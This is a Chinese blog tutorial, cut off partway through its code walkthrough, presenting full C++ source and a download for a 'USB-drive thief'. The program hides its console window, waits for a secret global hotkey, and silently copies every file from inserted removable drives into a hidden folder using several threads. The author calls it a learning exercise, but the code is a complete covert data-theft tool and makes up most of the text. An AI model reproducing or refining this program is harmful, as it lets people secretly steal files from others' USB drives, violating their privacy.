4. 手写一个U盘小偷

一、前言

本文主要介绍一个控制台版本的U盘小偷。

所谓U盘小偷,顾名思义,就是一种可以在暗中窃取U盘数据的一个程序

但本文志不在此,主要是学习U盘小偷程序中所用到的技术

我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐

所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行

运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境

在这里插入图片描述

此程序主要特色有:

  • 程序可完全隐藏
  • 可通过全局快捷键显示或隐藏程序,启动或退出程序
  • 多线程并发执行,大大提高执行速度

此程序设计到的知识点有:

  • WIndows消息循环
  • C++结合Win API函数编程
  • 多线程编程
  • 防程序多开

一、程序演示

在这里插入图片描述

为了演示看到效果,我显示了窗口,实际上可以一直在隐藏状态下进行复制U盘文件

如果觉得快捷键不符合自己的习惯,可直接在此处更改:

在这里插入图片描述

具体如何更改,请参考RegisterHotKey 函数官方文档

二、项目下载

点击此处下载

在这里插入图片描述

该压缩包解压后如图 一,二项分别为32位和64位的应用,可点击直接运行,点击后是隐藏的,可按alt+z显示,具体快捷键参考上文

三,四项为项目工程,分别为vs2019和vs2022的项目

在这里插入图片描述

选择对应的版本解压,就可以直接点击UDisktThief.sln工程文件,直接用vs打开就可以直接使用

如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可

在这里插入图片描述

三、源代码

#include<Windows.h>
#include<DbgHelp.h>
#include<iostream>
#include<queue>
#include<thread>
#include<mutex>
#include<atomic>
using namespace std;
#pragma comment(lib,"Dbghelp.lib")
//定义存储复制文件与目的地文件结构体
struct DString 
{
	string oldFile;
	string newFile;
	DString(const string& _oldFile, const string& _newFile) {
		oldFile = _oldFile;
		newFile = _newFile;
	}
};
bool isShow=false;
queue<DString> g_qFile; //文件信息队列
mutex g_qMutex; //队列互斥体
mutex g_outMutex; //输出互斥体
int g_numofThread=5; //开启复制文件的线程数
HANDLE* hThread = new HANDLE[g_numofThread];
atomic<int> g_exitThread; //记录退出的线程数量
string g_savePath = "D:\\Thief"; //保存文件的路径
ULONGLONG g_SpendTime;//记录拷贝所总共所用时间

bool g_bExit = false; //决定拷贝文件的线程是否退出
//注册全局热键
bool RegisterGlobalKey();
//删除全局快捷键
void UnRegistreGlobalKey();
//找U盘
vector<string> FindDriver();
//处理消息
bool DealMsg(WPARAM wParam);
//搜索所有文件
void FindAllFile(string savePath, string dir);
//拷贝文件的线程
unsigned _stdcall ThrToCopy(void*);
//搜索文件的线程
unsigned __stdcall ThrToSearch(void* param);

int main() {
	ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口
	//创建内核对象,防止多开
	CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");
	if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
	UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用
	bool ret=RegisterGlobalKey();//注册全局款快捷键
	if (!ret) return -1;
	SetConsoleTitleW(L"UDisktThief"); //设置窗口标题
	MSG msg{};
	while (GetMessage(&msg, NULL, 0, 0)) {	//接受消息
		ret = DealMsg(msg.wParam); //处理消息
		if (!ret) break; //false则退出程序
	}
	UnRegistreGlobalKey(); //注销全局快捷键
}

bool RegisterGlobalKey() {
	bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行
	if (!ret) return ret;
	ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序
	if (!ret) return ret;
	ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //Ctrl+alt 显示与隐藏窗口
	if (!ret) return ret;
	return ret;
}
void UnRegistreGlobalKey() {
	UnregisterHotKey(NULL,'l');
	UnregisterHotKey(NULL,'q');
	UnregisterHotKey(NULL,'s');
}
vector<string> FindDriver() {
	int len = GetLogicalDriveStringsA(0, 0);
	std::string dri;
	dri.resize(len);
	GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());
	vector<string> uDrive;
	for (int i = 0; i < len - 1; i++) {
		if (dri[i] == '\0' && dri[i + 1] == '\0') break; //到结尾,退出
		if (dri[i] != '\0') continue; //不为盘符名分界,继续下一次循环
		i += 1;
		if (GetDriveTypeA(&dri[i]) == DRIVE_REMOVABLE) uDrive.push_back(&dri[i]);
	}
	return uDrive;
}
bool DealMsg(WPARAM wParam) {	//处理消息
	switch (wParam)
	{
	case 'l': //开始执行程序
	{
		cout << "开始执行!" << endl;
		vector<string> uDrive = FindDriver(); //找U盘
		if (uDrive.empty()) {
			cout << "没有U盘!" << endl;
			break;
		} //没有则直接退出
		g_SpendTime = GetTickCount64();
		g_bExit = false; //设置线程退出标志为false
		for (int i = 0; i < uDrive.size(); i++) {
			char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节
			strcpy_s(buf,4,uDrive[i].data());
			_beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程
		}
		g_exitThread = 1;
		for (int i = 0; i < g_numofThread; i++) { //开启g_numofThread个线程进行拷贝
			hThread[i]=(HANDLE)_beginthreadex(0, 0, ThrToCopy, 0, 0, 0);
		}
	}
		break;
	case 'q': //退出程序
		g_bExit = true;
		Sleep(50);
		cout << "退出程序!" << endl;
		return false;
	case 's': //显示或隐藏界面
		isShow = !isShow;
		ShowWindow(GetConsoleWindow(), isShow);
		break;
	default:
		break;
	}
	return true;
}

unsigned __stdcall ThrToCopy(void*) {
	while (!g_bExit) {
		//从队列中取数据
		g_qMutex.lock();
		if (g_qFile.empty()) {
			g_qMutex.unlock();
			continue;
		}
		DString cf = g_qFile.front();
		g_qFile.pop();
		g_qMutex.unlock();

		g_outMutex.lock();
		cout << "队列剩余任务:" << g_qFile.size() << endl;
		g_outMutex.unlock();

		BOOL ret = CopyFileA(cf.oldFile.data(), cf.newFile.data(), TRUE);//复制文件

		g_outMutex.lock();
		if (ret) cout << cf.oldFile << ":复制完成\t" << endl;
		else cout << cf.oldFile << ":复制失败\t" << endl;
		g_outMutex.unlock();
	}
	g_outMutex.lock();
	cout << "拷贝线程退出:"<<g_exitThread++<<"/"<<g_numofThread<< endl;
	g_outMutex.unlock();
	return 0;
}
unsigned __stdcall ThrToSearch(void* param) {
	FindAllFile(g_savePath, (char*)param);
	delete param;
	while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠
	g_bExit = true; //退出复制文件的线程
	WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);

	g_SpendTime = GetTickCount64() - g_SpendTime;
	int ms = (int)g_SpendTime % 1000; //毫秒
	g_SpendTime /= 1000;
	int sec = (int)g_SpendTime % 60; //秒
	g_SpendTime /= 60;
	int minutes = (int)g_SpendTime % 60; //分钟
	int hours = (int)g_SpendTime / 60; //小时

	g_outMutex.lock();
	cout << "完成拷贝!搜索线程退出!" << endl;
	printf("共花费时间:%02d:%02d:%02d %03d\n", hours, minutes, sec, ms);
	g_outMutex.unlock();
	return 0;
}

void FindAllFile(string savePath, string dir) {
	if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号
	if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号
	MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在
	//遍历文件,添加到队列
	WIN32_FIND_DATAA fileData{};
	HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData);
	if (hFile == INVALID_HANDLE_VALUE) return;
	do {
		if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue;
		if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归
			FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data());
			continue;
		}
		//找到文件,添加到队列
		g_qMutex.lock();
		g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName));
		g_qMutex.unlock();
		//输出相应信息
		g_outMutex.lock();
		cout << "当前队列数量:" << g_qFile.size() << endl;
		g_outMutex.unlock();
	} while (FindNextFileA(hFile, &fileData));
	FindClose(hFile);
}

四、代码解析

1.main函数

首先从程序入口,main函数开始讲起

int main() {
	ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口
	//创建内核对象,防止多开
	CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887");
	if (GetLastError() == ERROR_ALREADY_EXISTS) return -1;
	UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用
	bool ret=RegisterGlobalKey();//注册全局款快捷键
	if (!ret) return -1;
	SetConsoleTitleW(L"UDisktThief"); //设置窗口标题
	MSG msg{};
	while (GetMessage(&msg, NULL, 0, 0)) {	//接受消息
		ret = DealMsg(msg.wParam); //处理消息
		if (!ret) break; //false则退出程序
	}
	UnRegistreGlobalKey(); //注销全局快捷键
}

第一行,使用到了两个Win API:GetConsoleWindow,ShowWindow

GetConsoleWindow() //获取当前控制台窗口的句柄
BOOL ShowWindow(
HWND hWnd, //要操作的窗口句柄
int  nCmdShow //设置窗口显示方式,可以直接填false,为隐藏,true为显示,更多显示方式可点击上方函数颜色字体,跳转到官网查看
);

作用为将当前控制台隐藏

第二、三行,使用到的API函数为:CreateMutex,GetLastError

HANDLE CreateMutexA(
LPSECURITY_ATTRIBUTES lpMutexAttributes, //安全属性,一般直接填NULL即可,默认安全